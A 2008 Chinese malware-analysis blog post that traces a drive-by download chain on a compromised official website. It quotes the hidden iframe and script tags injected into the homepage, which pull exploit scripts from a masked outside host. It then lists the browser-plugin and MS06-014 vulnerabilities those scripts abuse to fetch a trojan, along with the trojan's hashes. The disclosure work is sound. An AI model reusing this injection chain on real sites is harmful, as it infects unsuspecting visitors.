某夏露官方网传播 RootKit.Win32.RESSDT.o/Trojan-Downloader.Win32.Agent.mjp

某夏露官方网传播 RootKit.Win32.RESSDT.o/Trojan-Downloader.Win32.Agent.mjp

endurer 原创
2008-04-09 第1版

该网站首页 包含代码：
/---
＜iframe src=hxxp://***.look**des*t**.***.cn/wmpu/1810.htm?5918 width=0 height=0＞＜/iframe＞
---/

#1 hxxp://***.look**des*t**.***.cn/wmpu/1810.htm?5918　包含代码：
/---
＜iframe src=../root/vop.htm width=50 height=50 frameborder=0＞＜/iframe＞
---/

#1.1 hxxp://***.look**des*t**.***.cn//root/vop.htm
输出代码：
/---
＜iframe width='0' height='0' src='hxxp://***.look**des*t**.***.cn/root/11.htm'＞＜/iframe＞
＜script src=hxxp://***.look**des*t**.***.cn/root/lzz.js＞＜/script＞
＜script src=hxxp://***.look**des*t**.***.cn/root/bb.js＞＜/script＞
＜sCrIpT LAnGuAgE="jAvAsCrIpT" src=hxxp://***.look**des*t**.***.cn/root/rp.js＞＜/script＞
＜sCrIpT LAnGuAgE="jAvAsCrIpT" src=hxxp://***.look**des*t**.***.cn/root/rp1.js＞＜/script＞
＜script src=hxxp://***.look**des*t**.***.cn/root/ppp.js＞＜/script＞
---/
然后显示空白页（about:blank）

#1.1.1 hxxp://***.look**des*t**.***.cn/root/11.htm

利用 MS06-014 漏洞下载 hxxp://***.look**des*t**.***.cn/root/svcos.exe

文件说明符 : D:/test/svcos.exe
属性 : A---
获取文件版本信息大小失败!
创建时间 : 2008-4-9 20:48:57
修改时间 : 2008-4-9 20:48:57
访问时间 : 2008-4-9 20:49:59
大小 : 20625 字节 20.145 KB
MD5 : 42532b8726845cc29c40c06cb10dce2a
SHA1: 56BA928244657273CD6F26EDB858DD33295D79F9
CRC32: f671a2a2

Kaspersky 报为 Trojan-Downloader.Win32.Agent.mjp，瑞星 报为 RootKit.Win32.RESSDT.o＞＞fsg2.0＞＞96

#1.1.2 hxxp://***.look**des*t**.***.cn/root/lzz.js

利用联众（GLCHAT.GLChatCtrl.1，clsid:61F5C358-60FB-4A23-A312-D2B556620F20）漏洞下载 hxxp://***.ban**kd**iye**d.cn/root/svcos.exe

#1.1.3 hxxp://***.look**des*t**.***.cn/root/bb.js

利用暴风影音（MPS.StormPlayer）漏洞下载 hxxp://***.ban**kd**iye**d.cn/root/svcos.exe

#1.1.4 hxxp://***.look**des*t**.***.cn/root/rp.js

利用RealPlayer（IERPCtl.IERPCtl.1）漏洞下载 hxxp://***.look**des*t**.***.cn/root/svcos.exe

#1.1.5 hxxp://***.look**des*t**.***.cn/root/rp1.js
同上

#1.1.6 hxxp://***.look**des*t**.***.cn/root/ppp.js
利用PPStream（POWERPLAYER.PowerPlayerCtrl.1）漏洞下载 hxxp://***.ban**kd**iye**d.cn/root/svcos.exe

#1.1.7 利用BaiduBar.Tool 下载 hxxp://***.look**des*t**.***.cn/root/Baidu.cab，内含 Baidu.exe